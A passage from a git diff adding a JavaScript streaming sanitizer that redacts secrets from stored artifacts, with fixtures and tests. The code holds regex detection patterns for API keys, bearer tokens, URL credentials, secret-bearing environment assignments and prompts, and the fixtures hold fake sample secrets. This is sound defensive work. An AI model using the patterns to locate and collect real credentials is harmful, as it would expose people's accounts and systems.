ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const MATH_MIN = Math.min; +const REGEXP_CTOR = RegExp; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +const OPTION_KEYS = capturedFreeze(['artifact_ref', 'source', 'source_truncated']); + +// Bounded built-in policy. Every value-consuming pattern is length-capped so +// the finite overlap is sufficient to catch a split token and no caller +// pattern can expand the scan. +const URL_CREDENTIAL_PATTERN = /([a-z][a-z0-9+.-]{0,32}:\/\/)([^\s/@:]{1,256}):([^\s/@]{1,256})@/gi; +const BEARER_PATTERN = /\b(?:Bearer|Basic)[ \t]+[A-Za-z0-9._~+/=-]{8,512}/gi; +const CREDENTIAL_FORMAT_PATTERN = /\b(?:sk|xai)-[A-Za-z0-9_-]{8,256}\b|\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,256}\b|\b(?:AKIA|ASIA)[A-Z0-9]{16}\b|\bcrsr_[A-Za-z0-9_-]{12,256}\b/g; +const ENV_ASSIGNMENT_PATTERN = /\b((?:[A-Za-z][A-Za-z0-9]*[_-])*(?:api[_-]?key|access[_-]?token|refresh[_-]?token|authorization|bearer|credential|password|secret|token|private[_-]?key))(\s*[:=]\s*)(?:"[^"]{0,512}"|'[^']{0,512}'|[^\s,;'"&]{1,512})/gi; +const PROMPT_PATTERN = /((?:["']prompt["']|\bprompt)(\s*[:=]\s*))(?:"(?:\\.|[^"\\]){0,4096}"|'(?:\\.|[^'\\]){0,4096}'|[^\s,;{}"']{1,4096})/gi; + +const POLICY = capturedFreeze([ + capturedFreeze({ + kind: 'url_credentials', + pattern: URL_CREDENTIAL_PATTERN, + replace(match) { return `${match[1]}${ARTIFACT_SANITIZER_REPLACEMENT}@`; }, + }), + capturedFreeze({ + kind: 'bearer_credentials', + pattern: BEARER_PATTERN, + replace(match) { return `${match[0].split(/[ \t]/u, 1)[0]} ${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), + capturedFreeze({ + kind: 'credential_formats', + pattern: CREDENTIAL_FORMAT_PATTERN, + replace() { return ARTIFACT_SANITIZER_REPLACEMENT; }, + }), + capturedFreeze({ + kind: 'env_assignments', + pattern: ENV_ASSIGNMENT_PATTERN, + replace(match) { return `${match[1]}${match[2]}${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), + capturedFreeze({ + kind: 'prompts', + pattern: PROMPT_PATTERN, + replace(match) { return `${match[1]}${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), +]); + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSanitizer(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function emptyCounts() { + return { + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }; +} + +function addCounts(target, extra) { + target.credential_formats += extra.credential_formats; + target.bearer_credentials += extra.bearer_credentials; + target.env_assignments += extra.env_assignments; + target.url_credentials += extra.url_credentials; + target.prompts += extra.prompts; +} + +function makeDecoder() { + return new TEXT_DECODER_CTOR('utf-8', { fatal: false, ignoreBOM: false }); +} + +function flagsWithGlobal(pattern) { + return capturedTest(/g/u, pattern.flags) ? pattern.flags : `${pattern.flags}g`; +} + +function findAllMatches(text) { + const matches = []; + for (let index = 0; index < POLICY.length; index += 1) { + const policy = POLICY[index]; + const regex = new REGEXP_CTOR(policy.pattern.source, flagsWithGlobal(policy.pattern)); + regex.lastIndex = 0; + let matched = regex.exec(text); + while (matched !== null) { + if (matched[0].length === 0) { + regex.lastIndex += 1; + matched = regex.exec(text); + continue; + } + matches.push({ + index: matched.index, + length: matched[0].length, + end: matched.index + matched[0].length, + kind: policy.kind, + replacement: policy.replace(matched), + priority: index, + }); + matched = regex.exec(text); + } + } + return matches; +} + +// Overlapping matches keep the higher-priority policy (URL > bearer > +// credential format > env > prompt) so `Authorization: Bearer …` redacts +// as a bearer credential instead of an env assignment that would leave +// the token behind the first space. +function selectMatches(matches) { + const ordered = matches.slice(); + ordered.sort((left, right) => (left.index - right.index) || (left.priority - right.priority)); + const selected = []; + for (let index = 0; index < ordered.length; index += 1) { + const match = ordered[index]; + let conflict = false; + for (let cursor = selected.length - 1; cursor >= 0; cursor -= 1) { + const previous = selected[cursor]; + if (previous.end <= match.index) continue; + if (match.priority < previous.priority) { + selected.splice(cursor, 1); + } else { + conflict = true; + break; + } + } + if (!conflict) selected.push(match); + } + selected.sort((left, right) => left.index - right.index); + return selected; +} + +function redactRegion(text) { + const counts = emptyCounts(); + const selected = selectMatches(findAllMatches(text)); + let output = ''; + let from = 0; + for (let index = 0; index < selected.length; index += 1) { + const match = selected[index]; + output += text.slice(from, match.index); + output += match.replacement; + counts[match.kind] += 1; + from = match.end; + } + output += text.slice(from); + return { text: output, counts }; +} + +// ---- Binary source hardening (same discipline as P08, local copy). --------- + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function classifySource(source) { + if (isIntrinsicBinaryView(source)) return { kind: 'bytes', value: source }; + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSanitizer('proxy_denied', 'source', 'The artifact source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; + } + failSanitizer('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} + +function createSession(declaredLength) { + return { + decoder: makeDecoder(), + hash: CREATE_HASH('sha256'), + received: 0, + declaredLength, + pending: '', + sanitizedChunks: [], + sanitizedBytes: 0, + counts: emptyCounts(), + }; +} + +function emitSanitized(session, text) { + if (text.length === 0) return; + const bytes = BUFFER_FROM(text, 'utf8'); + if (session.sanitizedBytes + bytes.byteLength > MAX_SANITIZED_ARTIFACT_BYTE_LENGTH) { + failSanitizer('artifact_stream_over_cap', 'sanitized', + `The sanitized projection exceeds the ${MAX_SANITIZED_ARTIFACT_BYTE_LENGTH}-byte class cap; nothing was published.`); + } + session.sanitizedChunks.push(bytes); + session.sanitizedBytes += bytes.byteLength; +} + +function commitPending(session) { + const text = session.pending; + if (text.length === 0) return; + const redacted = redactRegion(text); + addCounts(session.counts, redacted.counts); + emitSanitized(session, redacted.text); + session.pending = ''; +} + +function feedDecoded(session, decoded) { + if (decoded.length === 0) return; + session.pending += decoded; + commitPending(session); +} + +function feedView(session, view) { + const size = view.byteLength; + if (size > MAX_RAW_ARTIFACT_BYTE_LENGTH - session.received) { + failSanitizer('artifact_stream_over_cap', 'source', + `The artifact stream exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte class cap; nothing was published.`); + } + if (session.received + size > session.declaredLength) { + failSanitizer('artifact_length_mismatch', 'source', + 'The artifact stream grew past its declared byte length; publication is refused.'); + } + let offset = 0; + while (offset < size) { + const end = MATH_MIN(offset + ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES, size); + const slice = view.subarray(offset, end); + if (slice.byteLength > 0) session.hash.update(slice); + const decoded = session.decoder.decode(slice, { stream: true }); + feedDecoded(session, decoded); + offset = end; + } + session.received += size; +} + +function finishSession(session) { + const tail = session.decoder.decode(); + feedDecoded(session, tail); + if (session.received !== session.declaredLength) { + failSanitizer('artifact_length_mismatch', 'artifact_ref.byte_length', + 'Actual artifact length does not match the declared byte length; nothing was published.'); + } + const digest = session.hash.digest('hex'); + session.digest = digest; + if (session.sanitizedBytes < MIN_ARTIFACT_BYTE_LENGTH) { + failSanitizer('sanitizer_empty_output', 'sanitized', + 'The sanitized projection is empty; nothing was published.'); + } + session.sanitized = session.sanitizedChunks.length === 1 + ? session.sanitizedChunks[0] + : BUFFER_CONCAT(session.sanitizedChunks, session.sanitizedBytes); + // Drop live windows so the raw source cannot be reconstructed later. + session.pending = ''; + session.sanitizedChunks = []; + session.decoder = null; + return digest; +} + +async function* inspectAndForward(iterable, session) { + try { + for await (const chunk of iterable) { + if (!isIntrinsicBinaryView(chunk)) { + failSanitizer('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + feedView(session, chunk); + yield chunk; + } + finishSession(session); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The artifact sanitizer options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(OPTION_KEYS, keys[index])) { + failSanitizer('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed sanitizer vocabulary.`); + } + } + if (!hasOwn(input, 'artifact_ref')) { + failSanitizer('missing_key', 'options.artifact_ref', + 'options.artifact_ref is required; the sanitizer binds one raw ArtifactRefV1.'); + } + if (!hasOwn(input, 'source')) { + failSanitizer('missing_key', 'options.source', + 'options.source is required; the sanitizer never reads stored raw artifacts.'); + } + + const snapshot = parseArtifactRefV1(ownDataValue(input, 'artifact_ref', 'options.artifact_ref'), + 'artifact_ref'); + if (snapshot.artifact_class !== 'raw') { + failSanitizer('unknown_artifact_class', 'artifact_ref.artifact_class', + 'The sanitizer source reference must be artifact_class "raw".'); + } + if (!capturedIncludes(SANITIZER_MEDIA_TYPES, snapshot.media_type)) { + failSanitizer('sanitizer_media_type_denied', 'artifact_ref.media_type', + 'The sanitizer accepts only identity-encoded text media types.'); + } + if (snapshot.content_encoding !== SANITIZER_CONTENT_ENCODING) { + failSanitizer('sanitizer_content_encoding_denied', 'artifact_ref.content_encoding', + `The sanitizer accepts only content_encoding "${SANITIZER_CONTENT_ENCODING}".`); + } + if (!capturedIncludes(CONTENT_ENCODINGS, snapshot.content_encoding)) { + failSanitizer('sanitizer_content_encoding_denied', 'artifact_ref.content_encoding', + 'The sanitizer accepts only identity encoding.'); + } + + let sourceTruncated = false; + if (hasOwn(input, 'source_truncated')) { + const flagged = ownDataValue(input, 'source_truncated', 'options.source_truncated'); + if (flagged !== true && flagged !== false) { + failSanitizer('invalid_type', 'options.source_truncated', + 'options.source_truncated must be an exact boolean when present.'); + } + sourceTruncated = flagged === true; + } + + const source = ownDataValue(input, 'source', 'options.source'); + const classified = classifySource(source); + return { snapshot, classified, source, sourceTruncated }; +} + +function buildSanitizedRef(rawSnapshot, sanitizedBytes, digest) { + return parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: rawSnapshot.run_id, + assignment_id: rawSnapshot.assignment_id, + artifact_kind: rawSnapshot.artifact_kind, + artifact_class: 'sanitized', + relative_path: rawSnapshot.relative_path, + byte_length: sanitizedBytes.byteLength, + sha256: digest, + media_type: rawSnapshot.media_type, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'sanitized_ref'); +} + +function provenanceFor(rawSnapshot, session, sanitizedRef, sourceTruncated) { + return freezeData({ + schema: ARTIFACT_SANITIZER_SCHEMA_ID, + sanitizer_version: ARTIFACT_SANITIZER_VERSION, + policy_id: ARTIFACT_SANITIZER_POLICY_ID, + source_digest: session.digest, + source_byte_length: session.received, + raw_ref: rawSnapshot, + sanitized_ref: sanitizedRef, + sanitized_digest: sanitizedRef.sha256, + sanitized_byte_length: sanitizedRef.byte_length, + redaction_counts: freezeData({ ...session.counts }), + complete: sourceTruncated !== true, + source_truncated: sourceTruncated === true, + }); +} + +function assertDeclaredDigest(session, snapshot) { + if (session.digest !== snapshot.sha256) { + failSanitizer('artifact_digest_mismatch', 'artifact_ref.sha256', + 'Actual artifact bytes do not hash to the declared SHA-256; nothing was published.'); + } + if (typeof snapshot.sha256 !== 'string' || !capturedTest(PRIVATE_SHA256_PATTERN, snapshot.sha256)) { + failSanitizer('artifact_digest_mismatch', 'artifact_ref.sha256', + 'The declared source digest is not a SHA-256.'); + } +} + +async function publishPair(store, rawSnapshot, rawSource, sanitizedRef, sanitizedBytes) { + await publishArtifactV1(store, rawSnapshot, rawSource); + await publishArtifactV1(store, sanitizedRef, sanitizedBytes); + await verifyStoredArtifactV1(store, rawSnapshot); + await verifyStoredArtifactV1(store, sanitizedRef); +} + +export async function sanitizeAndPublishArtifactV1(store, input) { + const { snapshot, classified, source, sourceTruncated } = parseOptions(input); + const session = createSession(snapshot.byte_length); + + if (classified.kind === 'bytes') { + feedView(session, classified.value); + finishSession(session); + assertDeclaredDigest(session, snapshot); + const sanitizedDigest = CREATE_HASH('sha256').update(session.sanitized).digest('hex'); + const sanitizedRef = buildSanitizedRef(snapshot, session.sanitized, sanitizedDigest); + await publishPair(store, snapshot, source, sanitizedRef, session.sanitized); + return provenanceFor(snapshot, session, sanitizedRef, sourceTruncated); + } + + const inspected = inspectAndForward(classified.value, session); + try { + await publishArtifactV1(store, snapshot, inspected); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } + if (typeof session.digest !== 'string') { + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream ended before sanitizer finish; nothing was published.'); + } + assertDeclaredDigest(session, snapshot); + const sanitizedDigest = CREATE_HASH('sha256').update(session.sanitized).digest('hex'); + const sanitizedRef = buildSanitizedRef(snapshot, session.sanitized, sanitizedDigest); + await publishArtifactV1(store, sanitizedRef, session.sanitized); + await verifyStoredArtifactV1(store, snapshot); + await verifyStoredArtifactV1(store, sanitizedRef); + return provenanceFor(snapshot, session, sanitizedRef, sourceTruncated); +} + +capturedFreeze(sanitizeAndPublishArtifactV1); +capturedFreeze(SANITIZER_MEDIA_TYPES); +capturedFreeze(REDACTION_KINDS); +capturedFreeze(ARTIFACT_SANITIZER_ERROR_CODES); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs new file mode 100644 index 0000000..bbc3079 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs @@ -0,0 +1,259 @@ +// Fixtures for the W5-P09 streaming artifact sanitizer tests. +// +// Pure data builders, tiny local helpers, and pinned expected projections. +// Store-root helpers use the caller's temporary directory only. Product +// imports are limited to the accepted P07 schema id so fixtures cannot mask +// a sanitizer defect with sanitizer-owned code. + +import { createHash } from 'node:crypto'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-sanitize-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +export const REPLACEMENT = '[REDACTED]'; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p09-sanitizer-') { + return mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function rawRefFor(bytes, overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'raw', + relative_path: `runs/${RUN_ID}/${CHILD_A}/artifact.txt`, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function chunksOf(bytes, count = 3) { + const size = Math.max(1, Math.ceil(bytes.byteLength / count)); + async function* generate() { + for (let offset = 0; offset < bytes.byteLength; offset += size) { + yield bytes.subarray(offset, Math.min(offset + size, bytes.byteLength)); + } + } + return generate(); +} + +export function splitAt(bytes, offset) { + const point = Math.max(0, Math.min(offset, bytes.byteLength)); + async function* generate() { + if (point > 0) yield bytes.subarray(0, point); + if (point < bytes.byteLength) yield bytes.subarray(point); + } + return generate(); +} + +export function byteSplits(bytes) { + async function* generate() { + for (let offset = 0; offset < bytes.byteLength; offset += 1) { + yield bytes.subarray(offset, offset + 1); + } + } + return generate(); +} + +export function emptyStream() { + async function* generate() {} + return generate(); +} + +export function stringChunkSource(text = 'text not bytes') { + async function* generate() { yield text; } + return generate(); +} + +export function shortSource(total, keep = 1) { + async function* generate() { + yield Buffer.alloc(Math.min(keep, total), 0x61); + } + return generate(); +} + +export function endlessSource(fill = 0x61) { + async function* generate() { + while (true) { + yield Buffer.alloc(4096, fill); + } + } + return generate(); +} + +export function throwingSource(failure) { + async function* generate() { + yield Buffer.from('first chunk'); + throw failure; + } + return generate(); +} + +export function accessorIterable(trapLog) { + return { + get [Symbol.asyncIterator]() { + trapLog.iteratorGetter += 1; + throw new Error('accessor iterator getter must never run'); + }, + }; +} + +export class SubclassedBytes extends Uint8Array {} + +// ---- Pinned secret samples and their expected projections. ----------------- + +export const SAMPLES = Object.freeze({ + plain: Object.freeze({ + raw: Buffer.from('authoritative artifact text for P09\n', 'utf8'), + sanitized: Buffer.from('authoritative artifact text for P09\n', 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + credentialFormat: Object.freeze({ + raw: Buffer.from('token sk-live-secret-1234567890 trailing\n', 'utf8'), + sanitized: Buffer.from(`token ${REPLACEMENT} trailing\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + bearer: Object.freeze({ + raw: Buffer.from('Authorization: Bearer abcdefghijklmnop.qrstuv\n', 'utf8'), + sanitized: Buffer.from(`Authorization: Bearer ${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 1, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + envAssignment: Object.freeze({ + raw: Buffer.from('export API_KEY=super-secret-value\n', 'utf8'), + sanitized: Buffer.from(`export API_KEY=${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 1, + url_credentials: 0, + prompts: 0, + }), + }), + urlCredential: Object.freeze({ + raw: Buffer.from('clone https://user:passwd@example.test/repo.git\n', 'utf8'), + sanitized: Buffer.from(`clone https://${REPLACEMENT}@example.test/repo.git\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 1, + prompts: 0, + }), + }), + prompt: Object.freeze({ + raw: Buffer.from('{"prompt": "do not echo this instruction"}\n', 'utf8'), + sanitized: Buffer.from(`{"prompt": ${REPLACEMENT}}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 1, + }), + }), + mixed: Object.freeze({ + raw: Buffer.from( + 'Bearer abcdefghijklmnop API_KEY=xyz https://u:p@host sk-abcdefghijkl prompt: "secret"\n', + 'utf8', + ), + sanitized: Buffer.from( + `Bearer ${REPLACEMENT} API_KEY=${REPLACEMENT} https://${REPLACEMENT}@host ${REPLACEMENT} prompt: ${REPLACEMENT}\n`, + 'utf8', + ), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 1, + env_assignments: 1, + url_credentials: 1, + prompts: 1, + }), + }), + github: Object.freeze({ + raw: Buffer.from('ghs_abcdefghijklmnop and github_pat_abcdefghijklmnop\n', 'utf8'), + sanitized: Buffer.from(`${REPLACEMENT} and ${REPLACEMENT}\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 2, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + aws: Object.freeze({ + raw: Buffer.from('id AKIAIOSFODNN7EXAMPLE extra\n', 'utf8'), + sanitized: Buffer.from(`id ${REPLACEMENT} extra\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + cursorKey: Object.freeze({ + raw: Buffer.from('key crsr_abcdefghijkl extra\n', 'utf8'), + sanitized: Buffer.from(`key ${REPLACEMENT} extra\n`, 'utf8'), + counts: Object.freeze({ + credential_formats: 1, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), + astral: Object.freeze({ + raw: Buffer.from('wolf 🐺 and café\n', 'utf8'), + sanitized: Buffer.from('wolf 🐺 and café\n', 'utf8'), + counts: Object.freeze({ + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }), + }), +}); + +export const MALFORMED_RAW = Buffer.from([0x61, 0xff, 0x62, 0x0a]); +export const MALFORMED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); + +// U+D800 encoded as UTF-8 (ED A0 80) is malformed; decoder emits U+FFFD. +export const UNPAIRED_RAW = Buffer.from([0x61, 0xed, 0xa0, 0x80, 0x62, 0x0a]); +export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs new file mode 100644 index 0000000..721284c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -0,0 +1,326 @@ +import assert from 'node:assert/strict'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_SANITIZER_ERROR_CODES, + ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES, + ARTIFACT_SANITIZER_OVERLAP_CHARS, + ARTIFACT_SANITIZER_POLICY_ID, + ARTIFACT_SANITIZER_REPLACEMENT, + ARTIFACT_SANITIZER_SCHEMA_ID, + ARTIFACT_SANITIZER_VERSION, + REDACTION_KINDS, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from '../mcp/v3/artifact-sanitizer.mjs'; +import { + ARTIFACT_STORE_SCHEMA_ID, + openArtifactStoreV1, +} from '../mcp/v3/artifact-store.mjs'; +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_A, + CHILD_B, + chunksOf, + digestOf, + makeStoreRoot, + rawRefFor, + removeRoot, + RUN_ID, + SAMPLES, +} from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +function assertProvenanceShape(provenance, sample, { sourceTruncated = false } = {}) { + assert.equal(provenance.schema, ARTIFACT_SANITIZER_SCHEMA_ID); + assert.equal(provenance.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + assert.equal(provenance.policy_id, ARTIFACT_SANITIZER_POLICY_ID); + assert.deepEqual(Object.keys(provenance), [ + 'schema', 'sanitizer_version', 'policy_id', 'source_digest', 'source_byte_length', + 'raw_ref', 'sanitized_ref', 'sanitized_digest', 'sanitized_byte_length', + 'redaction_counts', 'complete', 'source_truncated', + ]); + assert.equal(provenance.source_digest, digestOf(sample.raw)); + assert.equal(provenance.source_byte_length, sample.raw.byteLength); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized)); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + assert.deepEqual(provenance.redaction_counts, sample.counts); + assert.equal(provenance.source_truncated, sourceTruncated); + assert.equal(provenance.complete, sourceTruncated !== true); + assert.equal(provenance.raw_ref.artifact_class, 'raw'); + assert.equal(provenance.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(provenance.raw_ref.relative_path, provenance.sanitized_ref.relative_path); + assert.equal(Object.isFrozen(provenance), true); + assert.equal(Object.isFrozen(provenance.sanitized_ref), true); + assert.equal(Object.isFrozen(provenance.redaction_counts), true); +} + +test('the closed vocabulary and version constants are exported frozen', () => { + assert.equal(ARTIFACT_SANITIZER_SCHEMA_ID, 'codex-co-engineer.artifact-sanitizer.v1'); + assert.equal(ARTIFACT_SANITIZER_VERSION, 1); + assert.equal(ARTIFACT_SANITIZER_POLICY_ID, 'codex-co-engineer.artifact-redaction.v1'); + assert.equal(SANITIZER_CONTENT_ENCODING, 'identity'); + assert.equal(ARTIFACT_SANITIZER_REPLACEMENT, '[REDACTED]'); + assert.equal(ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES > 0, true); + assert.equal(ARTIFACT_SANITIZER_OVERLAP_CHARS > 0, true); + assert.deepEqual([...SANITIZER_MEDIA_TYPES], [ + 'application/json', 'application/x-ndjson', 'text/markdown', 'text/plain', + ]); + assert.deepEqual([...REDACTION_KINDS], [ + 'credential_formats', 'bearer_credentials', 'env_assignments', 'url_credentials', 'prompts', + ]); + assert.equal(Object.isFrozen(SANITIZER_MEDIA_TYPES), true); + assert.equal(Object.isFrozen(REDACTION_KINDS), true); + assert.equal(Object.isFrozen(ARTIFACT_SANITIZER_ERROR_CODES), true); + for (const code of [ + 'artifact_stream_over_cap', 'artifact_stream_invalid_source', 'artifact_stream_invalid_chunk', + 'sanitizer_media_type_denied', 'sanitizer_content_encoding_denied', 'sanitizer_empty_output', + ]) { + assert.ok(ARTIFACT_SANITIZER_ERROR_CODES.includes(code), code); + } +}); + +test('a validated buffer source publishes raw and sanitized and returns frozen provenance', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assertProvenanceShape(provenance, sample); + assert.equal(await store.verifyArtifact(provenance.raw_ref).then((v) => v.verified), true); + assert.equal(await store.verifyArtifact(provenance.sanitized_ref).then((v) => v.verified), true); + const projected = JSON.stringify(provenance); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + assert.equal(projected.includes(sample.raw.toString('utf8').trim()), false); + const report = await store.audit(); + assert.equal(report.schema, ARTIFACT_STORE_SCHEMA_ID); + assert.equal(report.artifacts, 2); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + }); +}); + +test('buffer and bounded async stream sources produce identical sanitized digests', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + const streamRef = rawRefFor(sample.raw, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/artifact.txt`, + }); + const viaStream = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: streamRef, + source: chunksOf(sample.raw, 5), + }); + assert.equal(viaBuffer.sanitized_digest, viaStream.sanitized_digest); + assert.equal(viaBuffer.source_digest, viaStream.source_digest); + assert.deepEqual(viaBuffer.redaction_counts, viaStream.redaction_counts); + assertProvenanceShape(viaBuffer, sample); + assertProvenanceShape(viaStream, sample); + }); +}); + +test('the built-in policy redacts credentials, bearer, env, URL, and prompt forms', async () => { + await withStore(async (store) => { + const cases = [ + ['credentialFormat', SAMPLES.credentialFormat], + ['bearer', SAMPLES.bearer], + ['envAssignment', SAMPLES.envAssignment], + ['urlCredential', SAMPLES.urlCredential], + ['prompt', SAMPLES.prompt], + ['mixed', SAMPLES.mixed], + ['github', SAMPLES.github], + ['aws', SAMPLES.aws], + ['cursorKey', SAMPLES.cursorKey], + ]; + for (const [name, sample] of cases) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/${name}.txt`, + }), + source: sample.raw, + }); + assertProvenanceShape(provenance, sample); + assert.equal(provenance.sanitized_digest, 